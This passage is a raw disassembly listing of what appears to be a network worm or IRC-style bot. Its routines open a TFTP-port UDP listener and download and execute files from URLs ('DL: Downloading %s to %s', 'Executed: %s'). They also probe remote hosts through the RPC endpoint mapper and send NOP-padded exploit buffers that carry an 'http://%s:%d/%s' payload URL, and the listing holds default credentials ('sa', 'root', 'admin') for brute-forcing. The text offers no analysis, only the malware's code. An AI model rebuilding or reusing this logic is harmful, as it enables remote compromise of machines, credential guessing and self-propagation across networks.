dword ptr -140h var_13C = dword ptr -13Ch var_138 = byte ptr -138h var_134 = dword ptr -134h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp and esp, 0FFFFFFF8h sub esp, 148h mov eax, dword_423068 xor eax, esp mov [esp+148h+var_4], eax push ebx push edi push 11h xor edi, edi push 2 inc edi push 2 mov [esp+15Ch+var_140], edi call ds:dword_41E240 ; socket cmp eax, 0FFFFFFFFh mov dword_426A64, eax jnz short loc_408225 xor ebx, ebx loc_408218: ; CODE XREF: sub_4081DD+CAj mov byte_4338BD, bl loc_40821E: ; CODE XREF: sub_4081DD+C4j push ebx call ds:off_41E07C loc_408225: ; CODE XREF: sub_4081DD+37j push 4 lea ecx, [esp+154h+var_140] push ecx push 4 push 0FFFFh push eax call ds:dword_41E264 ; setsockopt push 10h xor ebx, ebx lea eax, [esp+154h+var_14] push ebx push eax call sub_40C6F0 add esp, 0Ch push 45h mov [esp+154h+var_14], 2 call ds:dword_41E238 ; htons mov [esp+150h+var_12], ax push 10h lea eax, [esp+154h+var_14] push eax push dword_426A64 mov [esp+15Ch+var_10], ebx call ds:dword_41E250 ; bind cmp eax, 0FFFFFFFFh jnz loc_408365 push dword_426A64 call ds:dword_41E244 ; closesocket cmp byte_4338BD, bl jz loc_40821E jmp loc_408218 ; --------------------------------------------------------------------------- loc_4082AC: ; CODE XREF: sub_4081DD+18Ej mov eax, dword_426A64 push 8 mov [esp+154h+var_11C], eax lea eax, [esp+154h+var_148] push ebx push eax mov [esp+15Ch+var_120], edi call sub_40C6F0 add esp, 0Ch lea eax, [esp+150h+var_148] push eax push ebx push ebx lea eax, [esp+15Ch+var_120] push eax push ebx mov [esp+164h+var_148], 5 mov [esp+164h+var_144], ebx call ds:dword_41E26C ; select test eax, eax jle short loc_408365 push 14h lea eax, [esp+154h+var_134] push ebx push eax mov [esp+15Ch+var_13C], 10h call sub_40C6F0 add esp, 0Ch lea eax, [esp+150h+var_13C] push eax lea eax, [esp+154h+var_14] push eax push ebx push 14h lea eax, [esp+160h+var_134] push eax push dword_426A64 call ds:dword_41E270 ; recvfrom cmp eax, 0FFFFFFFFh jz short loc_408365 push [esp+150h+var_134] inc dword_4338C0 call ds:dword_41E268 ; htons cmp ax, di jnz short loc_408365 lea eax, [esp+150h+var_138] push eax push ebx lea eax, [esp+158h+var_14] push eax push offset sub_407FE4 push ebx push ebx call ds:off_41E080 push 3E8h call ds:off_41E0E0 loc_408365: ; CODE XREF: sub_4081DD+ACj ; sub_4081DD+10Dj ... cmp byte_4338BD, bl jnz loc_4082AC push dword_426A64 call ds:dword_41E244 ; closesocket mov ecx, [esp+150h+var_4] pop edi pop ebx xor ecx, esp xor eax, eax call sub_40AB4A mov esp, ebp pop ebp retn 4 sub_4081DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408395 proc near ; CODE XREF: sub_402FC8+2Dp ; sub_4049E1+32Ep ... var_50 = dword ptr -50h var_4C = byte ptr -4Ch var_4B = byte ptr -4Bh var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 54h mov eax, dword_423068 xor eax, ebp mov [ebp+var_4], eax mov eax, [ebp+arg_0] push esi push 0 push ecx push eax push 0 push 0 call ds:off_41E080 test eax, eax mov [esi+4], eax jz short loc_4083EE push edi lea eax, [ebp+var_4B] push 38h push eax call sub_40C634 mov eax, [esi] add esp, 0Ch mov [ebp+var_10], eax mov eax, dword_433BC4 push eax mov ecx, offset dword_433BC0 push ecx lea eax, [ebp+var_50] push eax mov [ebp+var_4C], 0 mov [ebp+var_50], esi call sub_408525 loc_4083EE: ; CODE XREF: sub_408395+27j push 1 push dword ptr [esi+4] call ds:off_41E06C mov ecx, [ebp+var_4] xor ecx, ebp mov eax, esi call sub_40AB4A leave retn 4 sub_408395 endp ; =============== S U B R O U T I N E ======================================= sub_408409 proc near ; CODE XREF: sub_402833+11Dp ; .text:0040A2F0p push ebx mov ebx, eax push 0 push dword ptr [ebx+4] call ds:off_41E0F4 test eax, eax jz short loc_408424 call sub_408428 mov al, 1 pop ebx retn ; --------------------------------------------------------------------------- loc_408424: ; CODE XREF: sub_408409+10j xor al, al pop ebx retn sub_408409 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408428 proc near ; CODE XREF: sub_408409+12p ; sub_4084BC+5Dp var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h and dword ptr [ebx+4], 0 mov eax, dword_433BC4 mov eax, [eax] mov [ebp+var_4], eax mov eax, offset dword_433BC0 push esi push edi mov [ebp+var_8], eax mov [ebp+var_10], eax loc_408449: ; CODE XREF: sub_408428+4Cj mov eax, dword_433BC4 lea edi, [ebp+var_10] lea esi, [ebp+var_8] mov [ebp+var_C], eax call sub_402E50 test al, al jz short loc_4084B1 call sub_402E02 mov ecx, [ebx] cmp ecx, [eax+40h] lea edi, [ebp+var_18] jz short loc_408476 call sub_402E22 jmp short loc_408449 ; --------------------------------------------------------------------------- loc_408476: ; CODE XREF: sub_408428+45j mov eax, [ebp+var_8] mov [ebp+var_10], eax mov eax, [ebp+var_4] lea esi, [ebp+var_10] mov [ebp+var_C], eax call sub_402E22 mov eax, [eax+4] cmp eax, dword_433BC4 jz short loc_4084B1 mov ecx, [eax+4] mov edx, [eax] mov [ecx], edx mov ecx, [eax] mov edx, [eax+4] push eax mov [ecx+4], edx call sub_40CB3C dec dword_433BC8 pop ecx loc_4084B1: ; CODE XREF: sub_408428+36j ; sub_408428+6Bj push ebx call sub_40CB3C pop ecx pop edi pop esi leave retn sub_408428 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4084BC proc near ; CODE XREF: sub_401000+3EBp ; sub_4088D0+239p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp and esp, 0FFFFFFF8h sub esp, 1Ch mov eax, dword_433BC4 mov eax, [eax] push ebx mov [esp+20h+var_14], eax mov eax, offset dword_433BC0 push esi push edi mov [esp+28h+var_18], eax mov [esp+28h+var_10], eax loc_4084E0: ; CODE XREF: sub_4084BC+54j mov eax, dword_433BC4 lea edi, [esp+28h+var_10] lea esi, [esp+28h+var_18] mov [esp+28h+var_C], eax call sub_402E50 test al, al jz short loc_40851E call sub_402E02 mov ecx, [ebp+arg_0] cmp ecx, [eax+40h] jz short loc_408512 lea edi, [esp+28h+var_8] call sub_402E22 jmp short loc_4084E0 ; --------------------------------------------------------------------------- loc_408512: ; CODE XREF: sub_4084BC+49j call sub_402E02 mov ebx, [eax] call sub_408428 loc_40851E: ; CODE XREF: sub_4084BC+3Cj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4084BC endp ; =============== S U B R O U T I N E ======================================= sub_408525 proc near ; CODE XREF: sub_408395+54p push 48h mov eax, offset loc_41D66F call sub_40E5CD push dword ptr [ebp+8] mov esi, [ebp+10h] push dword ptr [esi+4] push esi call sub_4085B0 mov ecx, 3C3C3C3h sub ecx, dword_433BC8 cmp ecx, 1 jnb short loc_408582 push offset aListTTooLong ; "list<T> too long" lea ecx, [ebp-2Ch] call sub_4021C2 and dword ptr [ebp-4], 0 lea eax, [ebp-2Ch] push eax lea ecx, [ebp-54h] call sub_401DA8 push offset dword_421F60 lea eax, [ebp-54h] push eax mov dword ptr [ebp-54h], offset off_41E31C call sub_40E1BC loc_408582: ; CODE XREF: sub_408525+29j inc dword_433BC8 mov [esi+4], eax mov ecx, [eax+4] mov [ecx], eax call sub_40E66C retn 0Ch sub_408525 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_408598 proc near ; CODE XREF: .text:loc_41D765p push 4Ch call loc_40CC1A test eax, eax pop ecx jz short loc_4085A6 mov [eax], eax loc_4085A6: ; CODE XREF: sub_408598+Aj lea ecx, [eax+4] test ecx, ecx jz short locret_4085AF mov [ecx], eax locret_4085AF: ; CODE XREF: sub_408598+13j retn sub_408598 endp ; =============== S U B R O U T I N E ======================================= sub_4085B0 proc near ; CODE XREF: sub_408525+16p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 4Ch call loc_40CC1A test eax, eax pop ecx jz short loc_4085C2 mov ecx, [esp+arg_0] mov [eax], ecx loc_4085C2: ; CODE XREF: sub_4085B0+Aj lea ecx, [eax+4] test ecx, ecx jz short loc_4085CF mov edx, [esp+arg_4] mov [ecx], edx loc_4085CF: ; CODE XREF: sub_4085B0+17j push edi lea edi, [eax+8] test edi, edi jz short loc_4085E2 push esi mov esi, [esp+8+arg_8] push 11h pop ecx rep movsd pop esi loc_4085E2: ; CODE XREF: sub_4085B0+25j pop edi retn 0Ch sub_4085B0 endp ; =============== S U B R O U T I N E ======================================= sub_4085E6 proc near ; CODE XREF: sub_4049E1+3B1p ; sub_4049E1+3C0p push 334h mov eax, offset loc_41D720 call sub_40E636 push 327h xor ebx, ebx lea eax, [ebp-338h] push ebx push eax mov esi, ecx mov edi, edx call sub_40C6F0 lea eax, [ebp-338h] add esp, 0Ch push eax call sub_40C500 mov [ebp+eax-338h], bl pop ecx lea eax, [ebp-238h] push eax call sub_40C500 pop ecx push esi mov [ebp+eax-238h], bl mov esi, 0FFh lea eax, [ebp-215h] push esi push eax call sub_40C634 lea eax, [ebp-215h] add esp, 0Ch push eax call sub_40C500 pop ecx push edi mov [ebp+eax-215h], bl lea eax, [ebp-115h] push esi push eax call sub_40C634 lea eax, [ebp-115h] add esp, 0Ch push eax call sub_40C500 mov [ebp+eax-115h], bl pop ecx push 8 mov byte ptr [ebp-12h], 1 mov byte ptr [ebp-13h], 1 mov byte ptr [ebp-15h], 1 mov [ebp-14h], bl call loc_40CC1A mov esi, eax pop ecx mov [ebp-33Ch], esi cmp esi, ebx mov [ebp-4], ebx jz short loc_4086C2 push offset sub_4088D0 lea ecx, [ebp-338h] mov edi, offset byte_4202A1 call sub_408395 loc_4086C2: ; CODE XREF: sub_4085E6+C5j call sub_40E680 retn sub_4085E6 endp ; --------------------------------------------------------------------------- push 4B4h mov eax, offset loc_41D6EB call sub_40E636 cmp dword ptr [ebp+1Ch], 3 mov eax, [ebp+10h] mov edi, [ebp+20h] mov [ebp-4C0h], eax mov eax, [ebp+18h] mov [ebp-4BCh], eax jl loc_4088C8 mov esi, 0BFh xor ebx, ebx push esi lea eax, [ebp-0CFh] push ebx push eax mov [ebp-0D0h], bl call sub_40C6F0 push esi lea eax, [ebp-18Fh] push ebx push eax mov [ebp-190h], bl call sub_40C6F0 lea eax, [ebp-0D0h] push eax push dword ptr [edi+4] call sub_402E6D push 0C0h lea esi, [ebp-190h] mov ebx, offset aLzLGjEkaaLBKLJ ; "ÖÑ«§Ð«Ó£¦ÐÔ¥ª ×Ð׫×Сת׫ÔѦס×Ц¤ªÔª¥"... call sub_401ACE add esp, 24h cmp byte ptr [ebp+8], 0 jz short loc_40875F cmp byte_425152, 0 jz loc_4088A2 loc_40875F: ; CODE XREF: .text:00408750j lea eax, [ebp-190h] push eax lea eax, [ebp-0D0h] push eax call sub_40CDC0 test eax, eax pop ecx pop ecx jnz loc_408887 push 327h push eax lea eax, [ebp-4B8h] push eax call sub_40C6F0 push dword ptr [ebp-4BCh] mov esi, offset aS ; "%s" push esi mov ebx, 0FFh lea eax, [ebp-4B8h] push ebx push eax call sub_40C634 lea eax, [ebp-4B8h] push eax call sub_40C500 push dword ptr [ebp-4C0h] mov byte ptr [ebp+eax-4B8h], 0 push esi lea eax, [ebp-3B8h] push 22h push eax call sub_40C634 lea eax, [ebp-3B8h] push eax call sub_40C500 push dword ptr [edi+8] mov byte ptr [ebp+eax-3B8h], 0 push esi lea eax, [ebp-395h] push ebx push eax call sub_40C634 lea eax, [ebp-395h] add esp, 44h push eax call sub_40C500 push dword ptr [edi+0Ch] mov byte ptr [ebp+eax-395h], 0 push esi lea eax, [ebp-295h] push ebx push eax call sub_40C634 lea eax, [ebp-295h] push eax call sub_40C500 mov byte ptr [ebp+eax-295h], 0 mov al, [ebp+8] mov [ebp-192h], al mov al, [ebp+0Ch] push 8 mov [ebp-193h], al mov byte ptr [ebp-195h], 1 mov byte ptr [ebp-194h], 1 call loc_40CC1A add esp, 1Ch mov [ebp-4C0h], eax and dword ptr [ebp-4], 0 test eax, eax jz short loc_4088A2 push offset sub_4088D0 lea ecx, [ebp-4B8h] mov edi, offset byte_4202A1 mov esi, eax call sub_408395 jmp short loc_4088A2 ; --------------------------------------------------------------------------- loc_408887: ; CODE XREF: .text:00408776j push offset aAd ; "AD" push dword ptr [ebp-4BCh] push dword ptr [ebp+0Ch] push offset dword_426A3C call sub_403DB4 add esp, 10h loc_4088A2: ; CODE XREF: .text:00408759j ; .text:0040886Cj ... mov esi, 0C0h push esi lea eax, [ebp-0D0h] push 0 push eax call sub_40C6F0 push esi lea eax, [ebp-190h] push 0 push eax call sub_40C6F0 add esp, 18h loc_4088C8: ; CODE XREF: .text:004086F0j call sub_40E680 retn 1Ch ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4088D0 proc near ; DATA XREF: sub_4085E6+C7o ; .text:0040886Eo var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_73C = byte ptr -73Ch var_738 = byte ptr -738h var_638 = byte ptr -638h var_615 = byte ptr -615h var_515 = byte ptr -515h var_415 = byte ptr -415h var_414 = byte ptr -414h var_413 = dword ptr -413h var_408 = byte ptr -408h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp and esp, 0FFFFFFF8h sub esp, 754h mov eax, dword_423068 xor eax, esp mov [esp+754h+var_4], eax push ebx push esi mov esi, [ebp+arg_0] push edi mov ecx, 0C9h lea edi, [esp+760h+var_738] rep movsd xor ebx, ebx push ebx push ebx push ebx movsw push ebx push offset aMozilla5_0 ; "Mozilla/5.0" movsb call ds:dword_41E22C ; InternetOpenA mov esi, eax lea eax, [esp+760h+var_515] push eax lea eax, [esp+764h+var_615] push eax push offset aDlDownloadingS ; "DL: Downloading %s to %s" lea eax, [esp+76Ch+var_738] push eax push [esp+770h+var_413] mov edi, offset dword_426A3C push edi call sub_403DB4 add esp, 18h push ebx push ebx push ebx push ebx lea eax, [esp+770h+var_615] push eax push esi call ds:dword_41E228 ; InternetOpenUrlA cmp esi, ebx mov [esp+760h+var_744], eax jz loc_408B02 cmp eax, ebx jz loc_408AE8 push ebx push ebx push 2 push ebx push ebx push 40000000h lea eax, [esp+778h+var_515] push eax call ds:off_41E05C mov [esp+760h+var_748], eax call ds:dword_41E0EC ; GetTickCount mov [esp+760h+var_740], eax mov [esp+760h+var_750], ebx mov esi, 400h loc_408997: ; CODE XREF: sub_4088D0+11Fj push esi lea eax, [esp+764h+var_408] push ebx push eax call sub_40C6F0 add esp, 0Ch lea eax, [esp+760h+var_74C] push eax push esi lea eax, [esp+768h+var_408] push eax push [esp+76Ch+var_744] call ds:dword_41E224 ; InternetReadFile push ebx lea eax, [esp+764h+var_73C] push eax push [esp+768h+var_74C] lea eax, [esp+76Ch+var_408] push eax push [esp+770h+var_748] call ds:off_41E078 test eax, eax jz loc_408A9A mov eax, [esp+760h+var_74C] add [esp+760h+var_750], eax cmp eax, ebx ja short loc_408997 call ds:dword_41E0EC ; GetTickCount sub eax, [esp+760h+var_740] xor edx, edx mov ecx, 3E8h div ecx mov ecx, eax cmp ecx, ebx jnz short loc_408A0D xor ecx, ecx inc ecx loc_408A0D: ; CODE XREF: sub_4088D0+138j mov eax, [esp+760h+var_750] xor edx, edx div ecx shr eax, 0Ah push eax push ecx push [esp+768h+var_750] lea eax, [esp+76Ch+var_515] push eax push offset aDownloadSIByte ; "Download %s (%i Bytes) finished in %i s"... lea eax, [esp+774h+var_738] push eax push [esp+778h+var_413] push edi call sub_403DB4 add esp, 20h push [esp+760h+var_748] call ds:dword_41E0C4 ; CloseHandle cmp [esp+760h+var_415], 1 jnz loc_408B02 cmp [esp+760h+var_414], bl lea eax, [esp+760h+var_515] jz short loc_408AA8 push eax call sub_402632 test al, al pop ecx lea eax, [esp+760h+var_738] jz short loc_408AA1 push offset aUninstalling ; "Uninstalling" push eax push [esp+768h+var_413] push edi call sub_403DB4 add esp, 10h lea eax, [esp+760h+var_638] push eax call sub_402833 loc_408A9A: ; CODE XREF: sub_4088D0+10Fj push offset aFailedBadLocat ; "Failed; Bad Location." jmp short loc_408AED ; --------------------------------------------------------------------------- loc_408AA1: ; CODE XREF: sub_4088D0+1A5j push offset aFailedUpdate ; "Failed Update" jmp short loc_408AF1 ; --------------------------------------------------------------------------- loc_408AA8: ; CODE XREF: sub_4088D0+196j push 5 push ebx push ebx push eax push offset byte_4202A1 push ebx call ds:dword_41E1F4 test eax, eax jnz short loc_408AC4 push offset aErrorExecuting ; "Error Executing" jmp short loc_408AED ; --------------------------------------------------------------------------- loc_408AC4: ; CODE XREF: sub_4088D0+1EBj lea eax, [esp+760h+var_515] push eax push offset aExecutedS ; "Executed: %s" lea eax, [esp+768h+var_738] push eax push [esp+76Ch+var_413] push edi call sub_403DB4 add esp, 14h jmp short loc_408B02 ; --------------------------------------------------------------------------- loc_408AE8: ; CODE XREF: sub_4088D0+91j push offset aBadUrl ; "Bad URL" loc_408AED: ; CODE XREF: sub_4088D0+1CFj ; sub_4088D0+1F2j lea eax, [esp+764h+var_738] loc_408AF1: ; CODE XREF: sub_4088D0+1D6j push eax push [esp+768h+var_413] push edi call sub_403DB4 add esp, 10h loc_408B02: ; CODE XREF: sub_4088D0+89j ; sub_4088D0+182j ... call ds:dword_41E0C8 ; GetCurrentThreadId push eax call sub_4084BC pop ecx mov ecx, [esp+760h+var_4] pop edi pop esi pop ebx xor ecx, esp xor eax, eax call sub_40AB4A mov esp, ebp pop ebp retn 4 sub_4088D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408B28 proc near ; CODE XREF: sub_408CC5+F0p var_48 = byte ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_18 = byte ptr -18h var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 48h mov eax, dword_423068 xor eax, ebp mov [ebp+var_8], eax mov eax, [ebp+arg_0] push ebx push esi push edi nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop xor edi, edi lea ecx, [ebp+var_30] push ecx push edi push edi push eax push offset aNcacn_ip_tcp ; "ncacn_ip_tcp" push edi mov [ebp+var_34], edi mov [ebp+var_38], edi mov [ebp+var_30], edi call ds:dword_41E1D4 test eax, eax jnz short loc_408BA3 lea eax, [ebp+var_3C] push eax push [ebp+var_30] call ds:dword_41E1DC test eax, eax jz short loc_408BB4 lea eax, [ebp+var_30] push eax call ds:dword_41E1E0 loc_408BA3: ; CODE XREF: sub_408B28+5Ej ; sub_408B28+DDj ... xor eax, eax loc_408BA5: ; CODE XREF: sub_408B28+198j mov ecx, [ebp+var_8] pop edi pop esi xor ecx, ebp pop ebx call sub_40AB4A leave retn ; --------------------------------------------------------------------------- loc_408BB4: ; CODE XREF: sub_408B28+6Fj nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop lea eax, [ebp+var_40] push eax push edi push edi push edi push edi push [ebp+var_3C] call ds:dword_41E1E4 test eax, eax jz short loc_408C07 lea eax, [ebp+var_30] push eax call ds:dword_41E1E0 lea eax, [ebp+var_3C] push eax call ds:dword_41E1D8 jmp short loc_408BA3 ; --------------------------------------------------------------------------- loc_408C07: ; CODE XREF: sub_408B28+C7j mov ebx, ds:dword_41E1E0 loc_408C0D: ; CODE XREF: sub_408B28+114j ; sub_408B28+125j ... lea eax, [ebp+var_48] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_44] push eax lea eax, [ebp+var_2C] push eax push [ebp+var_40] call ds:dword_41E1E8 mov esi, eax cmp esi, edi jnz short loc_408C6E lea eax, [ebp+var_38] push eax lea eax, [ebp+var_2C] push eax call ds:dword_41E1EC test eax, eax jnz short loc_408C0D lea eax, [ebp+var_34] push eax push [ebp+var_44] call ds:dword_41E1D0 test eax, eax jnz short loc_408C0D push offset a50abc2a4574d40 ; "50abc2a4-574d-40b3-9d66-ee4fd5fba076" push [ebp+var_38] call sub_40CDC0 test eax, eax pop ecx pop ecx jz short loc_408C7B lea eax, [ebp+var_38] push eax call ebx lea eax, [ebp+var_34] push eax call ebx loc_408C6E: ; CODE XREF: sub_408B28+102j cmp esi, 6ECh jnz short loc_408C0D jmp loc_408BA3 ; --------------------------------------------------------------------------- loc_408C7B: ; CODE XREF: sub_408B28+138j mov esi, offset asc_42046C ; "[" push esi push [ebp+var_34] call sub_40D75E test eax, eax pop ecx pop ecx jz loc_408BA3 push esi push edi call sub_40D75E cmp eax, edi pop ecx pop ecx jz loc_408BA3 push offset asc_420EF8 ; "]" push eax call sub_40D75E cmp eax, edi pop ecx pop ecx jz loc_408BA3 push eax call sub_40DE3D pop ecx jmp loc_408BA5 sub_408B28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408CC5 proc near ; CODE XREF: sub_40A506+227p ; sub_40A506+330p ... var_10 = dword ptr -10h arg_0 = word ptr 8 arg_4 = dword ptr 0Ch arg_8 = word ptr 10h arg_C = dword ptr 14h arg_14 = byte ptr 1Ch arg_114 = dword ptr 11Ch arg_118 = dword ptr 120h arg_120 = dword ptr 128h arg_124 = dword ptr 12Ch arg_128 = dword ptr 130h arg_12C = byte ptr 134h arg_12D = byte ptr 135h arg_13C = byte ptr 144h arg_13D = byte ptr 145h arg_23C = byte ptr 244h arg_23D = byte ptr 245h arg_33C = byte ptr 344h arg_33F = byte ptr 347h arg_4B4 = byte ptr 4BCh arg_4B7 = byte ptr 4BFh arg_62C = byte ptr 634h arg_A1A = byte ptr 0A22h arg_A22 = byte ptr 0A2Ah arg_B42 = byte ptr 0B4Ah arg_B54 = byte ptr 0B5Ch arg_E2C = byte ptr 0E34h arg_1E30 = dword ptr 1E38h push ebp mov ebp, esp and esp, 0FFFFFFF8h mov eax, 1E3Ch call sub_41AF10 mov eax, dword_423068 xor eax, esp mov [esp+arg_1E30], eax push ebx push esi push edi push 44h pop ecx xor eax, eax lea esi, [ebp+arg_0] lea edi, [esp+0Ch+arg_14] rep movsd mov [esp+0Ch+arg_12C], 0 lea edi, [esp+0Ch+arg_12D] stosd stosd stosd stosw mov esi, 0FFh push esi stosb lea eax, [esp+10h+arg_23D] push 0 push eax mov [esp+18h+arg_23C], 0 call sub_40C6F0 add esp, 0Ch push esi lea eax, [esp+10h+arg_13D] push 0 push eax mov [esp+18h+arg_13C], 0 call sub_40C6F0 mov eax, ds:dword_420EFC add esp, 0Ch mov [esp+0Ch+arg_124], eax mov eax, ds:dword_420F00 mov esi, offset dword_420F04 lea edi, [esp+0Ch+arg_33C] mov ebx, 16Fh movsw push ebx mov [esp+10h+arg_128], eax lea eax, [esp+10h+arg_33F] push 0 push eax movsb call sub_40C6F0 add esp, 0Ch mov esi, offset dword_420F04 lea edi, [esp+0Ch+arg_4B4] movsw push ebx lea eax, [esp+10h+arg_4B7] push 0 push eax movsb call sub_40C6F0 add esp, 0Ch push [esp+0Ch+arg_118] call ds:dword_41E274 ; inet_ntoa mov esi, eax push esi call sub_408B28 test eax, eax pop ecx jnz short loc_408DC4 mov eax, 401h loc_408DC4: ; CODE XREF: sub_408CC5+F8j push [esp+8+arg_120] mov [esp+0Ch+arg_8], 2 mov [esp+0Ch+arg_C], eax call ds:dword_41E238 ; htons push esi mov word ptr [esp+10h+arg_4+2], ax call sub_4023EB and dword ptr [esp+14h], 0 pop ecx mov byte ptr [esp+0Fh], 1 mov dword ptr [esp+0Ch+arg_0], 1 loc_408DFA: ; CODE XREF: sub_408CC5+39Bj push 6 push 1 push 2 call ds:dword_41E240 ; socket mov edi, eax cmp edi, 0FFFFFFFFh jz loc_40908F nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop push 10h lea eax, [esp+10h+arg_4] push eax push edi call ds:dword_41E258 ; connect cmp eax, 0FFFFFFFFh jz loc_409093 push 0 push 48h push offset dword_4248A0 push edi call ds:dword_41E248 ; send cmp eax, 0FFFFFFFFh jz loc_409093 push 0 push 1000h lea eax, [esp+14h+arg_E2C] push eax push edi call ds:dword_41E23C ; recv test eax, eax jle loc_409093 cmp byte ptr [esp+0Ch+arg_120+1], 0 jz short loc_408EB3 call sub_402C36 test al, al jz short loc_408EB3 push 100h lea esi, [esp+10h+arg_13C] mov ebx, offset dword_4254B0 call sub_401ACE pop ecx jmp short loc_408F1E ; --------------------------------------------------------------------------- loc_408EB3: ; CODE XREF: sub_408CC5+1CAj ; sub_408CC5+1D3j push dword_426A3C lea esi, [esp+10h+arg_12C] call sub_402A2D lea esi, [esp+10h+arg_23C] mov ebx, offset byte_425089 mov [esp+10h+var_10], 100h call sub_401ACE pop ecx mov eax, esi push eax push dword_426614 lea eax, [esp+14h+arg_12C] push eax push offset aHttpSDS ; "http://%s:%d/%s" lea eax, [esp+1Ch+arg_13C] push 0FFh push eax call sub_40C634 lea eax, [esp+24h+arg_13C] push eax call sub_40C500 mov [esp+eax+28h+arg_13C], 0 add esp, 1Ch loc_408F1E: ; CODE XREF: sub_408CC5+1ECj lea eax, [esp+0Ch+arg_13C] push eax lea eax, [esp+10h+arg_33C] call sub_407D18 mov ebx, eax test ebx, ebx pop ecx jz loc_40908F lea eax, [esp+0Ch+arg_124] push eax push ebx lea eax, [esp+14h+arg_33C] push eax push 2 lea esi, [esp+1Ch+arg_4B4] call sub_407D75 add esp, 10h test eax, eax jnz short loc_408F86 lea eax, [esp+0Ch+arg_124] push eax push ebx lea eax, [esp+14h+arg_33C] push eax push 2 call sub_407D75 add esp, 10h test eax, eax jz loc_40908F loc_408F86: ; CODE XREF: sub_408CC5+29Cj mov esi, 800h push esi lea eax, [esp+10h+arg_62C] push 5Ch push eax call sub_40C6F0 add esp, 0Ch push 4Ch lea eax, [esp+10h+arg_62C] push offset dword_4248F0 push eax call sub_40D820 add esp, 0Ch cmp dword ptr [esp+0Ch+arg_0], 1 push 8 lea eax, [esp+10h+arg_A1A] jnz short loc_408FCC push offset aLSW ; "\\)\\L\\á\\w" jmp short loc_408FD1 ; --------------------------------------------------------------------------- loc_408FCC: ; CODE XREF: sub_408CC5+2FEj push offset a8W ; "\\8\\\a\\Ò\\w" loc_408FD1: ; CODE XREF: sub_408CC5+305j push eax call sub_40D820 add esp, 0Ch push 3Eh lea eax, [esp+10h+arg_A22] push offset dword_424940 push eax call sub_40D820 add esp, 0Ch push 13h lea eax, [esp+10h+arg_B42] push offset dword_42488C push eax call sub_40D820 add esp, 0Ch push 172h lea eax, [esp+10h+arg_33C] push eax lea eax, [esp+14h+arg_B54] push eax call sub_40D820 add esp, 0Ch push 0 push esi lea eax, [esp+14h+arg_62C] push eax push edi call ds:dword_41E248 ; send cmp eax, 0FFFFFFFFh push edi jz short loc_409094 call ds:dword_41E244 ; closesocket cmp byte ptr [esp+0Fh], 0 jz short loc_409066 inc dword ptr [esp+10h] cmp dword ptr [esp+10h], 1 mov byte ptr [esp+0Fh], 0 mov dword ptr [esp+0Ch+arg_0], 3 jle loc_408DFA loc_409066: ; CODE XREF: sub_408CC5+383j mov eax, [esp+0Ch+arg_114] imul eax, 2Ch lea eax, dword_42452C[eax] inc dword ptr [eax] mov al, 1 loc_40907A: ; CODE XREF: sub_408CC5+3CCj mov ecx, [esp+0Ch+arg_1E30] pop edi pop esi pop ebx xor ecx, esp call sub_40AB4A mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_40908F: ; CODE XREF: sub_408CC5+146j ; sub_408CC5+272j ... xor al, al jmp short loc_40907A ; --------------------------------------------------------------------------- loc_409093: ; CODE XREF: sub_408CC5+185j ; sub_408CC5+19Ej ... push edi loc_409094: ; CODE XREF: sub_408CC5+376j call ds:dword_41E244 ; closesocket jmp short loc_40908F sub_408CC5 endp ; --------------------------------------------------------------------------- push ebp lea ebp, [esp-0CD0h] sub esp, 0D4Ch mov eax, dword_423068 xor eax, ebp mov [ebp+0CCCh], eax push ebx push esi push edi push 44h pop ecx xor ebx, ebx xor eax, eax mov [ebp+0CBCh], bl lea esi, [ebp+0CD8h] lea edi, [ebp-54h] rep movsd lea edi, [ebp+0CBDh] stosd stosd stosd stosw stosb lea eax, [ebp-64h] push eax push ebx push 1 mov [ebp-56h], bl mov dword ptr [ebp-7Ch], offset aSa ; "sa" mov dword ptr [ebp-78h], offset aRoot ; "root" mov dword ptr [ebp-74h], offset aAdmin ; "admin" mov [ebp-70h], ebx mov [ebp-55h], bl mov [ebp-5Ch], ebx mov [ebp-60h], ebx call sub_40AA6A test ax, ax jz short loc_40912D loc_409113: ; CODE XREF: .text:00409141j xor al, al loc_409115: ; CODE XREF: .text:00409162j mov ecx, [ebp+0CCCh] pop edi pop esi xor ecx, ebp pop ebx call sub_40AB4A add ebp, 0CD0h leave retn ; --------------------------------------------------------------------------- loc_40912D: ; CODE XREF: .text:00409111j push 